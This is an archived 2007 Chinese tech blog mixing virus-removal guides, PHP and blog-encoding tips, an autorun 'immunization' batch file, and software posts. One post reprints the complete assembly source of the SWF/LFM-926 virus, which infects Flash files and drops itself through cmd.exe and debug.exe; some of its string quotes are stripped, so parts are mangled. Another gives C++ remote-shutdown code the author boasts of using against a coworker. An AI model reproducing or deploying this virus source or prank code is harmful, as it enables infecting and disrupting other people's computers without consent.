2007年10月31日

手动清除chcp.exe病毒 保护MSN的安全

  随着即时通讯工具的强大,木马病毒也加快了脚本,MSN早就成为了其通向第三方计算机感染跳越的平台。在好友圈中,只要盗取一个MSN好友帐号或感染一台用户计算机,病毒即会伸出罪恶之手,将会在用户MSN聊天时发送病毒信息。

    病毒分析
    该病毒属于MSN蠕虫变种,被感染的计算机会自动向MSN联系人发送诱惑文字消息和带毒压缩包,当对方接收并打开带毒压缩包中的病毒文件时,系统即成为新的受害者,并因此尝试感染另一台计算机。病毒大小为434,176 字节,通过MSN聊天工具进行传播。

    被感染的计算机,病毒首先会在系统目录 %Windows%下生成含带病毒源体的F0538_jpg.zip压缩包,随后病毒自身开始在计算机中的%Windows%目录下创建副本chcp.exe 可执行文件,并在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]分支下建立"chcp.exe"="%Windows%\chcp.exe"自启动项目,然后病毒开始修改注册分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的"SFCDisable"=dword:ffffff9d  和"SFCScan"=dword:00000000值,进行关闭系统文件保护,并且更改  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的 "WaitToKillServiceTimeout"=的值为"7000",达到更改自动关闭进程等待时间的效果。

    完成上述后,病毒仍没有安静的等待,而是查找被感染的计算机中是否存在FTP目录,如果有则将原正常程序改名为backup.ftp、backup.tftp并复制到%System%\microsoft目录下,随后在系统目录%System%下写入ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe可执行程序,做完一系列的手脚,病毒开始向MSN联系人发送诱惑型文字消息,并夹带毒包F0538_jpg.zip欺骗用户打开。

   清除方法
    中了此毒的用户也不要紧张,在了解了生存原理后要想清除该病毒也非难事,只要按照以下几个步骤实施即可将病毒清除出界,让系统中的MSN正常运行。

    一、首先要进入注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下,将"chcp.exe"="%Windows%\chcp.exe"自建的随机启动项删除,完成后重启计算机。

    二、进入%Windows%\目录下将病毒源体文件chcp.exe及F0538_jpg.zip压缩包删除。

    三、将目录%System%下的FTP破坏代替程序ftp.exe、tftp.exe、dllcache\tftp.exe、dllcache\ftp.exe删除,并将%System%\microsoft目录下的backup.ftp、backup.tftp改回到目录%System%下。

    四、删除注册表分支[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]下的"SFCDisable"=dword:00000000键值,恢复系统文件保护。

    五、最后将注册表[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]分支下的"WaitToKillServiceTimeout"=改为"20000" 从而恢复系统自动关闭进程等待时间的默认配置。
           
    笔者按:在MSN病毒中变体有很多种如:MSN机器人、MSN小丑、MSN性感相册等,其原理都是利用MSN作为平台在同聊友沟通的同时发送病毒信息,通过MSN好友关系欺骗用户点击,然后再次传播,从而形成强大的传播途径。为了更好的处理此类病毒,这里建议用户加强计算机的先期保护如:开启杀软定时升库,安装安全类软件,不定期打入系统补丁等,并且多了解每日病毒动态,即时作好防范工作即可,一但用户被感染时应立即作出回应,利用手工删除或下载相应的专杀工具进行清理,以免让更多的用户成为受害者。

  • » 阅读全文...
  • 2007年10月30日

    用PHP输出静态页面的两种方法

            用PHP输出静态页面的方法,就我所知道的,有2种,一种是利用模板技术,另一种是用ob系列函数。两种方法,看起来都差不多,但是实际上,却是不同的。

    第一种:利用模板。目前PHP的模板可以说是很多了,有功能强大的smarty,还有简单易用的smarttemplate等。它们每一种模板,都有一个获取输出内容的函数。我们生成静态页面的方法,就是利用了这个函数。用这个方法的优点是,代码比较清晰,可读性好。

    这里我用smarty做例子,说明如何生成静态页

    <?php
    require('smarty/Smarty.class.php');
    $t = new Smarty;
    $t->assign("title","Hello World!");
    $content = $t->fetch("templates/index.htm");
    //这里的 fetch() 就是获取输出内容的函数,现在$content变量里面,就是要显示的内容了
    $fp = fopen("archives/2005/05/19/0001.Html", "w");
    fwrite($fp, $content);
    fclose($fp);
    ?>
    第二种方法:利用ob系列的函数。这里用到的函数主要是 ob_start(), ob_end_flush(), ob_get_content(),其中ob_start()是打开浏览器缓冲区的意思,打开缓冲后,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区,直到你使用了ob_end_flush().而这里最重要的一个函数,就是ob_get_contents(),这个函数的作用是获取缓冲区的内容,相当于上面的那个fetch(),道理一样的。代码:

    <?php
    ob_start();
    echo "Hello World!";
    $content = ob_get_contents();//取得php页面输出的全部内容
    $fp = fopen("archives/2005/05/19/0001.html", "w");
    fwrite($fp, $content);
    fclose($fp);
    ?>

  • » 阅读全文...
  • 把o-blog的编码转换为utf8的过程

            前几天我把我使用的o-blog转换为utf8了。现在我整理了一下资料,把转换的过程记录下来,与大家分享一下经验,希望o-blog的新版本中可以出现utf8版本。我现在使用 o-blog 的版本为2.6如果版本不对,请你下载2.6版本.
           在转换之前,我有必要提醒你一下,你必须要把所有的网页和数据库的内容备份一下,万一转换的过程失败,你也可以迅速恢复数据或者可以重新转换。
    如果你备份好数据了,那我们开始吧。我转换的思想是:将所有的文本文件的编码改为utf8,再建立新的charset为utf8的数据库。
            首先,要把o-blog使用的所有文本文件的编码改为utf8,这里所说的文本文件包括o-blog所有的php和模板文件中的html、css文件。上网搜索了一下,可以选择的工具有UltraEdit和EditPlus。不过我使用的是EditPlus。将一个打开,再选择另保存为,再覆盖原来的文件就可以了。在此过程,可能有些文件的编码无法保存为utf8,可以先不管。   
          下面开始修改文件。
           打开 admin/class/mysql.php,找到下面的这一行
          mysql_select_db($dbname);
         在其前面加入以下代码:   
          if($this->version() > '4.1') {
       mysql_query("SET NAMES 'utf8'");
              mysql_query("SET CHARACTER_SET_CLIENT=utf8");
              mysql_query("SET CHARACTER_SET_RESULTS=utf8");
      } else        
    if($this->version() > '5.0.1') {
          mysql_query("SET sql_mode=''");
    }  
            使用EditPlus菜单“查找”下的“在文件中查找”对话框查找charset=gb2312,其中文件夹选择o-blog所在的目录,这样可以省很多的功夫.找到后把charset=gb2312替换为charset=utf-8.      
            其次要修改原来install.php文件
            把 TYPE=MyISAM 替换为 ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci。
            然后在你的空间中运行install.php,进行新的安装,如果你使用的数据库和原来的那个相同,我特别要提醒你,使用的表的前缀必须要和原来的不同,要不然会造成数据库里面原来的数据被覆盖。
           安装结束后你可以打开o-blog来看看页面上是否出现乱码,如果出现了乱码,你得查看你使用php文件和模板文件的编码是否为utf8. 如果显示的文字,还未算转换成功。由于o-blog里面使用的切割字符串函数并不是用来切割utf8字符集,在切割得出的字符串中最后一个汉字的编码很有可能不完全,这样在网页的源代码中看到的所有中文是乱码。下面要打开admin/functions.php查找 “cn_substr”函数,大概在272行,在其前面加入以下函数:
    // 用来避免 utf8 乱码
    function utf8_trim($str) {
        $len = strlen($str);
        for($i=strlen($str)-1;$i>=0;$i-=1){
            $hex .= ' '.ord($str[$i]);
            $ch   = ord($str[$i]);
            if(($ch & 128)==0)    return substr($str,0,$i);
            if(($ch & 192)==192)return substr($str,0,$i);
        }
        return($str.$hex);
    }
    前往 291 行,就会看到 return $s."...";
    在前面一行加入调用utf8_trim的以下代码
    $s = utf8_trim($s);
    这样的做法存在冗余的代码,不过这样做是最为简单的,希望风色可以进行改进。
          按照网上的说法,还要修改函数htmlspecialchars,把原来的用法
          $s=htmlspecialchars($s);
          改为 $s = htmlspecialchars($s,ENT_QUOTES,"UTF-8");
          我修改了一部分就没有修改了,因为我发现blog已经没有乱码问题了,查看数据库里面的内容,挺很正常。所以我也不知道那个修改有没有用了,有兴趣的网友可以试试看。
    不知道你们转换怎么样了呢?我的可以正常运行了。
           下面还有一个问题,怎么样把原来的数据导入到里面去。我想到了两个解决的方向。
    第一、后台里面的数据的导入导出。导入的数据会转换为gb2312,这是与现在使用utf8冲突的,这就需要修改现在代码,把原来备份的数据导进去。我没有深入了解那部分的代码,所以我不知道怎么修改,解决了导入,还要解决导出的问题。
    第二、在另外一个博客程序cblog中,有把o-blog转换为cblog的程序,可以把gb2312编码的数据转换为utf8并插入到现在使用的数据库里面去。可能修改一下代码就可以拿来用了。可是这部分我也没有研究,我的日志比较少,基本上已经手动输入到现在使用的博客里面去了。
            希望风色或者longbill研究一下,怎么处理好数据的导入导出这部分,更加希望拥有新版本的o-blog。
            如果文章中还有遗漏的地方,请提出来,我边修改边测试的,当时没有作记录,现在也是考记忆来写这篇文章了。
            我在写这篇文章的时候,longbill也处理好转换为utf8的问题了,呵呵,恭喜!

  • » 阅读全文...
  • 编写autorun病毒免疫工具

    autorun病毒的危害相信中过招的人都有体会。其最大的特点就在于很难清除干净,现在可以提前对系统分区做一次免疫工作,而那些已经中了autorun病毒的用户也能顺便将病毒清除。  
        
    有人曾经使用系统组策略的方法,不过对于初学者来说有点复杂。现在复制以下代码到文本文件中,保存为bat文件即可。
        @echo off
    cls
    echo          按 S 键删除Autorun.inf并进行免疫
    echo.
    echo          按 D 键删除免疫程序
    echo.
    echo          按其他任意键退出
    echo.
    echo.
    SET Choice=
    SET /P Choice=        请选择要进行的操作:  
    IF /I ’%Choice:~0,1%’==’s’ GOTO setup
    IF /I ’%Choice:~0,1%’==’d’ GOTO Delset
    IF /I ’%Choice:~0,1%’==’q’ GOTO Exit
    exit
    :Setup
    taskkill /im explorer.exe /f
    for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @(
        if exist %%a: (
            rd %%a:\autorun.inf /s /q
            del %%a:\autorun.inf /f /q
            mkdir %%a:\autorun.inf
            mkdir %%a:\autorun.inf\"病毒免疫勿删除../" 
            attrib +h +r +s %%a:\autorun.inf
            
        ) 
    )
    start explorer.exe
    for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
      if exist %%a:\nul (
        >1.vbs echo msgbox^ "%%a:免疫成功",64,"提示:"
        1.vbs
      )
    )
    del 1.vbs
    echo.
    echo.
    echo                        按任意键退出...
    pause>nul
    exit
    :delset
    For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do @(
        If Exist %%a: (      
            rd %%a:\autorun.inf /s /q
                    
        ) 
    )
    echo.
    echo.
    echo                        操作完毕,按任意键退出...
    pause>nul
    exit

        具体原理为通过检测autorun.inf和删除相应文件达到直接消灭病毒的目的。操作比较简单,只要按两个键就可以了。

  • » 阅读全文...
  • U盘(auto病毒)类病毒分析与解决方案

    一、U盘病毒简述: 
      U盘(自动运行)类病毒(auto病毒)近来非常常见,并且具有一定程度危害,它的机理是依赖Windows的自动运行功能,使得我们在点击打开磁盘的时候,自动执行相关的文件。目前我们使用U盘都十分频繁,当我们享受U盘所带来的方便时,U盘病毒也在悄悄利用系统的自动运行功能肆意传播,目前流行的U盘病毒文件大家甚至耳熟能详了,比如经常有网友问的SSS.EXE SXS.EXE如何查杀这类的,下面我们将对U盘病毒极其特性和防范办法进行分析总结。
      
    二、特性分析:
      所谓的自动运行功能是指Windows系统一种方便特性,使当光盘、U盘插入到机器自动运行,而这种特性的实现就是通过磁盘跟目录下的 autorun.inf文件进行。这个文件保存在驱动器的根目录下(一般会是一个隐藏属性的系统文件),它保存着一些简单的命令,告知系统新插入的光盘或 U盘应该自动启动什么程序等。
      常见的Autorun.inf文件格式大致如下:
      [AutoRun]    //表示AutoRun部分开始,必须输入
      icon=C:\C.ico  //指定给C盘一个个性化的盘符图标C.ico
      open=C:\1.exe  //指定要运行程序的路径和名称,只要在此放入病毒程序就可自动运行;
      在Windows系统有允许和阻止自动运行的键值的方法:
      在注册表中找到如下键:
      键路径:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]
      在右侧窗格中有 "NoDriveTypeAutoRun"这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示:
      设备名称 第几位 值 设备用如下数值表示 设备名称含义
      DRIVE_UNKNOWN 0 1 01h 不能识别的类型设备
      DRIVE_NO_ROOT_DIR 1 0 02h 没有根目录的驱动器
      DRIVE_REMOVABLE 2 1 04h 可移动驱动器
      DRIVE_FIXED 3 0 08h 固定的驱动器
      DRIVE_REMOTE 4 1 10h 网络驱动器
      DRIVE_CDROM 5 0 20h 光驱
      DRIVE_RAMDISK 6 0 40h RAM磁盘
      其中: 保留 7 1 80h  未指定的驱动器类型
      以上值"0"表示设备运行,"1"表示设备不运行。
      从上面可以看出,对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运行的。所以要禁止硬盘自动运行AutoRun.inf文件,就必须将DRIVE_FIXED这些键的值设为1,由于DRIVE_FIXED代表固定的驱动 器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能,但又保留对CD音频碟的自动播放能力,这时只需将“NoDriveTypeAutoRun”的键值改为:BD,00,00,00即可。
      U盘病毒就是利用这种系统特性,一般在感染后会修改系统的注册表,将显示所有文件的选项设置为禁止。甚至修改磁盘关联,杀毒软件一般会只把病毒文件清除,但对残余的文件不会处理。这也是常见的杀毒软件为什么常常无法清除干净,或者清除后双击无法打开磁盘的原因。
      
    三、解决方案:
      1、使用超级巡警套装来全面解决U盘病毒问题(推荐!):
      ①超级巡警对U盘病毒检测进行了特别的处理,可以快速的监测和定位U盘病毒,并清除它们。
      ②超级巡警同时还提供对注册表关联修复和自动运行阻止的处理。
      2、手动解决办法:
      ①根据上面的原理,自己修改注册表禁止磁盘的自动运行特性。
      ②把文件夹选项中隐藏受保护的操作系统文件钩掉,选中显示所有文件和文件夹,点击确定。这样可以在感染病毒的移动存储设备中会看到几个文件(包括autorun.inf和病毒文件),删除后,病毒就清除了。
  • » 阅读全文...
  • 2007年10月29日

    利用 hotspot shield 访问你想访问的站点

    hotspot shield 是一个在访问 wi-fi 热点时让你处于匿名状态、保护你隐私的工具,它通过在你的计算机和无线路由间创建一个 VPN,可以将你在互联网上的所有活动自动加密并通过 wi-fi 进行传输。attachments/200710/4395408838.png
    我们要关注的是,利用 hotspot shield,能够将我们的 ip 地址伪装成美国的,这样一来,很多由于
    不可抗力因素不能访问的站点都能够轻轻松松的进行浏览了。相比@无&界@和@自&由#门@,它的速度还是比较快的,并且没有浏览器种类的限制。
    另外,一些 web 2.0 站点在测试时的注册有国家限制,比如说只对美国和加拿大开放,通过 hotspot shield 现在你也可以很轻松的注册了。
  • » 阅读全文...
  • XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件

    XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件发布!

    软件名称:XmiServer_v2.4.2
    软件版本:v2.4.2
    软件授权:免费软件
    使用平台:WinNT/XP/2000/2003

    下载地址
      1.  下载文件XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件.rar (0 Byte , 下载:285次)  (推荐!高速下载!)
      2. http://pickup.mofile.com/cn/index.do (MoFile) 请在左上角输入文件提取码: 6376342876538358  (有时效!!!)

    简介:
    XmiServer_v2.4是一款基于Apache+Tomcat的全能服务器套件,
    拥有安装简单、便捷、绿色、免配置等特点,
    可以快速搭建 ASP+CGI+PHP+JSP+MySQL 全能网站服务器平台,
    方便您调试和开发ASP、CGI、PHP、JSP 等程序。

    目录简要说明:
    XmiServer
    ├─Links 各组件快捷链接
    ├─Server 程序主目录
    │ ├─Apache Apache程序目录
    │ ├─Database MySQL 数据库目录
    │ │ ├─Database_MySQL5 MySQL5 数据库目录
    │ │ └─Database_MySQL4 MySQL4 数据库目录
    │ ├─JAVA JAVA程序目录
    │ ├─MySQL4 MySQL4 程序目录
    │ ├─MySQL5 MySQL5 程序目录
    │ ├─PHP PHP程序目录
    │ ├─phpMyAdmin phpMyAdmin目录
    │ ├─TempLogs 临时文件及日志文件目录
    │ ├─Tomcat Tomcat程序目录
    │ └─Zend Zend Optimizer 程序目录
    └─wwwRoot 虚拟主机网站根目录
    ├─asp ASP程序目录
    ├─cgi-bin CGI程序目录
    └─webapps JSP程序目录

    使用程序版本:
    Apache v2.2.4
    Tomcat v5.5.20
    Netbox v2.8.4128
    PHP v5.2.0
    MySQL5 v5.0.27
    MySQL4 v4.0
    MiniPerl v5.8
    JDK v1.5.0_07
    Zend v3.2.0
    phpMyAdmin v2.9.1.1

  • » 阅读全文...
  • 2007年10月28日

    国外的第一只[感染*.swf]flash病毒的源代码

    SWF/LFM-926 Virus:
    ; ------------------
    ; Description: WinNT/XP Virus dropper for Flash .SWF files!
    ; Masm Version 6.11: ML.EXE SWF.ASM
    ; Virus Size: 926 bytes
    ; Infection Size: 3247 bytes.
    ; Last Edit: 01/08/2002

    ; --------------------------------- Begin Source Code ------------------------------------

    .286
    .model tiny
    .code
    org 100h

    Entry: jmp Start

    VIR_SIZE equ Virus_End-Entry

    DTA db 128 dup(0) ; Offset DTA+30 = filename
    HANDLE dw ? ; Handle to host file
    PTR1 dd 0 ; Segment address of the created memory block
    PATH db "*.SWF",0 ; File mask
    BINARY db "v.com",0 ; Binary code
    HEX db "0123456789ABCDEF" ; Binary to hex

    ; Flash header block.
    ; -------------------
    SIGN_FW dw ? ; SWF file format
    SIGN_S db ?
    VERSION_NUM db ?
    FILE_LENGTH dw ?
    dw ?
    STATIC_HDR_SIZE equ $-SIGN_FW

    RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
    RECT_BUF_SIZE equ $-RECT_BUF

    HDR_SIZE dw ? ; Holds the true header size!

    ; Start of Viral Frame 0.
    ; -----------------------
    Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
    TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
    dw 0
    db 083h ; ActionGetUrl Tag
    ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
    db FSCommand:exec
    db 000h
    db cmd.exe
    db 009h ; chr(9) is Flash code for a space character.
    db /c
    db 009h
    db echo
    db 009h
    db Loading.Flash.Movie...
    db &
    db (echo
    db 009h
    db n
    db 009h
    db v.com&echo
    db 009h
    db a
    db 009h
    db 100&
    Drop_BEGIN_SIZE equ $-Drop_BEGIN

    Drop_MIDDLE db echo
    db 009h
    db db
    db 009h
    db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
    db &
    Drop_MIDDLE_SIZE equ $-Drop_MIDDLE

    Drop_END db &echo.&echo
    db 009h
    db rcx&echo
    db 009h
    db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
    db &echo
    db 009h
    db w&echo
    db 009h
    db q)|debug.exe>nul&start
    db 009h
    db /b
    db 009h
    db v.com
    db 000h ; StringEnd Tag
    Drop_END_SIZE equ $-Drop_END

    ; End of Viral Frame 0.
    ; ---------------------
    END_TAG db 001h ; Action code 0x01 = tagshowframe Tag

    Start:
    mov ax,(VIR_SIZE+0fh)
    shr ax,4
    shl ax,1
    mov bx,ax ; Allocate (VirusSize*2)
    mov ah,4ah
    int 21h ; Resize block
    jc ExProg

    mov dx,offset DTA ; Set DTA operation
    mov ah,1ah
    int 21h

    mov cx,07h
    mov dx,offset PATH
    mov ah,4eh ; FindFirst
    int 21h
    jc ExProg
    jmp Infect
    Cycle:
    mov dx,offset PATH
    mov ah,4fh ; FindNext
    int 21h
    jc ExProg
    jmp Infect
    ExProg:
    mov ax,4301h ; Hide v.com
    mov cx,02h
    mov dx,offset BINARY
    int 21h

    mov ax,4c00h ; End program
    int 21h
    Infect:
    mov byte ptr DTA[30+12],$
    mov dx,offset (DTA+30)

    mov ax,3d02h ; Open host file
    int 21h
    jc ExProg

    mov [HANDLE],ax ; Save file handle

    mov ax,3f00h ; Read file Header
    mov dx,offset SIGN_FW
    mov bx,[HANDLE]
    mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
    int 21h
    jc ExProg

    cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
    jne Cycle ; Try another file ...
    cmp byte ptr SIGN_S,S
    jne Cycle
    cmp byte ptr VERSION_NUM,099h ; Already infected?
    je Cycle

    mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
    xor di,di ; Seems to always exist directly after the header.
    next: cmp byte ptr RECT_BUF[di],043h
    jne not_found
    cmp byte ptr RECT_BUF[di+1],002h
    jne not_found
    jmp found
    not_found:
    inc di
    loop next
    jmp Cycle
    found:
    mov word ptr HDR_SIZE,STATIC_HDR_SIZE
    add word ptr HDR_SIZE,di ; Compute the header size

    mov ax,4200h ; Reset file ptr right after Flash header
    xor cx,cx
    mov dx,[HDR_SIZE]
    int 21h
    jc ExProg

    push bx
    mov ax,word ptr FILE_LENGTH
    add ax,15
    shr ax,4
    mov bx,ax
    mov ah,48h ; Allocate memory for target host file
    int 21h
    pop bx
    jc ExProg
    mov word ptr PTR1[2],ax ; Save pointer to allocated block

    mov cx,word ptr FILE_LENGTH
    sub cx,[HDR_SIZE]
    mov ah,3fh ; Read host file into memory block
    push ds
    lds dx,[PTR1]
    int 21h
    pop ds
    jc ExProg

    mov ax,4200h ; Reset file ptr to the middle code section
    xor cx,cx
    mov dx,[HDR_SIZE]
    add dx,Drop_BEGIN_SIZE
    int 21h
    jc ExProg

    ;
    ; The following code is a key technique. It simply converts the
    ; virus from binary to hex characters and then inserts them into the host
    ; using a standard format that DEBUG.EXE expects! Flash only really
    ; allows plain text, so this satisfies that condition.
    ;

    mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
    push bx
    mov cx,VIR_SIZE
    xor si,si
    xor di,di
    ToHex:
    mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
    mov al,byte ptr Entry[si]
    mov ah,al
    and al,00001111y
    xlat
    mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
    shr ax,12
    xlat
    mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
    inc si
    inc di
    inc di
    inc di
    mov ax,si
    mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
    div bl
    or ah,ah
    jnz cont
    push cx
    xor di,di
    add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
    mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
    mov dx,offset Drop_MIDDLE
    mov cx,Drop_MIDDLE_SIZE
    mov ax,4000h
    int 21h
    jc ExProg
    pop cx
    cont:
    loop ToHex
    pop bx

    or di,di
    jz no_remainder

    mov dx,offset Drop_MIDDLE
    mov cx,di
    add cx,7 ; STATIC_HDR_SIZE-1
    add word ptr ACTION_LENGTH,cx
    mov ax,4000h ; Write remainder hex dump entry XX,...,XX
    int 21h
    jc ExProg

    no_remainder:
    mov dx,offset Drop_END
    mov cx,Drop_END_SIZE+1
    mov ax,4000h ; Write end code and end of frame tag(01) into host
    int 21h
    jc ExProg

    mov cx,word ptr FILE_LENGTH
    sub cx,[HDR_SIZE]
    mov ax,4000h ; Write host code directly after viral code.
    push ds
    lds dx,[PTR1]
    int 21h
    pop ds
    jc ExProg
    ; Patch the header with new viral values.
    mov cx,word ptr ACTION_LENGTH
    add cx,4
    mov word ptr TAG_LENGTH,cx
    add cx,6
    add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
    ; Set infection marker
    mov byte ptr VERSION_NUM,099h

    mov di,[HDR_SIZE]
    inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1

    mov ax,4200h ; Re-wind to start of file
    xor cx,cx
    xor dx,dx
    int 21h
    jc ExProg

    mov dx,offset SIGN_FW
    mov cx,[HDR_SIZE]
    mov ax,4000h ; Write updated viral header
    int 21h
    jc ExProg

    mov dx,offset Drop_BEGIN
    mov cx,Drop_BEGIN_SIZE
    mov ax,4000h ; Write begin code into host
    int 21h
    jc ExProg

    mov ah,49h ; Free memory block
    mov es,word ptr PTR1[2]
    int 21h
    jc ExProg

    mov ax,3e00h ; Close file
    int 21h
    jc ExProg

    jmp Cycle ; DONE! Try to infect another.

    Virus_End:
    end Entry

    被复仇天说后,重新看了下文件,感觉有点问题 ,特重新更改标题。
    以上内容只供学习、研究使用,如果利用其来搞破坏或者是做些违法的事情。

  • » 阅读全文...
  • C++实现远程关机

    记得刚学C++的时候,喜欢研究API,当时同事有一个高手,写了段代码,我在写程序的时候,莫明妙的,机器突然关掉了!我正在纳闷的时候,我听到了他的奸笑!   原来是他干的,后来我研究了好久InitiateSystemShutdown这个API函数,了解被作弄的原理了,因为我的机器加入了Windows的域,而且域的超级用户我也设置成对我本机有Administrator权限,所以,他才有机可乘!后来写了以下这段代码,让他也在工作的时候被我远程关机,爽啊!学了新东西,又以其人之道还施彼身!
       //ShutDownSystem函数是关本地,自己的机器   
    BOOL CAlarmClockDlg::ShutDownSystem()    {    HANDLE hToken;    TOKEN_PRIVILEGES tkp;    // Get a token for this process.    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))    AfxMessageBox("OpenProcessToken");    // Get the LUID for the shutdown privilege.    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);    tkp.PrivilegeCount = 1; // one privilege to set    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // Get the shutdown privilege for this process.    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);    if(GetLastError()!= ERROR_SUCCESS)    AfxMessageBox("AdjustTokenPrivileges");    // Shut down the system and force all applications to close.    if(!ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE, 0))    {    return FALSE;    }    else    {    return TRUE;    }    }    //shutdownHost这个就是远程关机的C++函数了!hostName可以是机器IP,也可以是机器名字!    BOOL CAlarmClockDlg::shutdownHost(CString hostName)    {    HANDLE hToken; // handle to process token    TOKEN_PRIVILEGES tkp; // pointer to token structure    BOOL fResult; // system shutdown flag    // Get the current process token handle so we can get shutdown    // privilege.    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))    AfxMessageBox("OpenProcessToken failed.");    // Get the LUID for shutdown privilege.    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);    tkp.PrivilegeCount = 1; // one privilege to set    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // Get shutdown privilege for this process.    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);    // Cannot test the return value of AdjustTokenPrivileges.    if (GetLastError() != ERROR_SUCCESS)    AfxMessageBox("AdjustTokenPrivileges enable failed.");    // Display the shutdown dialog box and start the time-out countdown.    fResult = InitiateSystemShutdown("192.168.100.245", // shut down local computer    "Click on the main window and press the Escape key to cancel shutdown.", // message to user    1, // time-out period    FALSE, // ask user to close apps //注意这一段API调用!    FALSE); // reboot after shutdown    if (!fResult)    {    AfxMessageBox("InitiateSystemShutdown failed.");    }    // Disable shutdown privilege.    tkp.Privileges[0].Attributes = 0;    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);    if (GetLastError() != ERROR_SUCCESS)    {    AfxMessageBox("AdjustTokenPrivileges disable failed.");    }    return TRUE;    }

  • » 阅读全文...
  • 能让您下载土豆、六间房、爆米花等在线视频

    flv 侦测、播放器-----UUmeFLVSpy环境:2000、2003、xp、vista

    功能:在线flv视频下载兼播放

    播放器界面如下

    以上网站大部分都支持!

    如何使用?

    准备好迅雷、暴风2007和这款软件

    1打开六间房,随便点击一个视频,复制地址栏中的地址。

    2启动软件,把刚才复制的地址粘贴。如图所示。

    3点击开始捕获,软件开始嗅探真实的地址。
    4真实地址会在下面的列表中显示,都是flv文件,右击复制。

    5启动迅雷,右击悬浮窗----新建下载任务-----确定。一会就能下载完毕了!
    6因为该软件自带的播放器不能控制进度,建议大家用暴风2007。开始----程序-----暴风-----暴风综合设置----文件关联----全部视频 如图

    说明:
    1如果想快速操作,可以在迅雷中添加对flv文件的监视,这样一旦复制了真实地址,只要迅雷启动,就一下子弹出下载窗口。
    2下载没有反应了,可以暂停在重新下载。
    3对新浪的在线视频也支持的很好。
    4软件自带的下载是调动ie下载,比较慢,建议用迅雷。如果你要下载的已经播放完毕,建议用软件自带的下载。其实是把ie缓冲(C:Documents and SettingsAdministratorLocal SettingsTemporary Internet Files)中的文件复制了一份。呵呵。。。。。
    5如果你不怕麻烦,也可以自己到ie缓存中寻找!
                   点击下载:下载文件能让您下载土豆、六间房等在线视频的软件.rar (1.3 MB , 下载:20次)

  • » 阅读全文...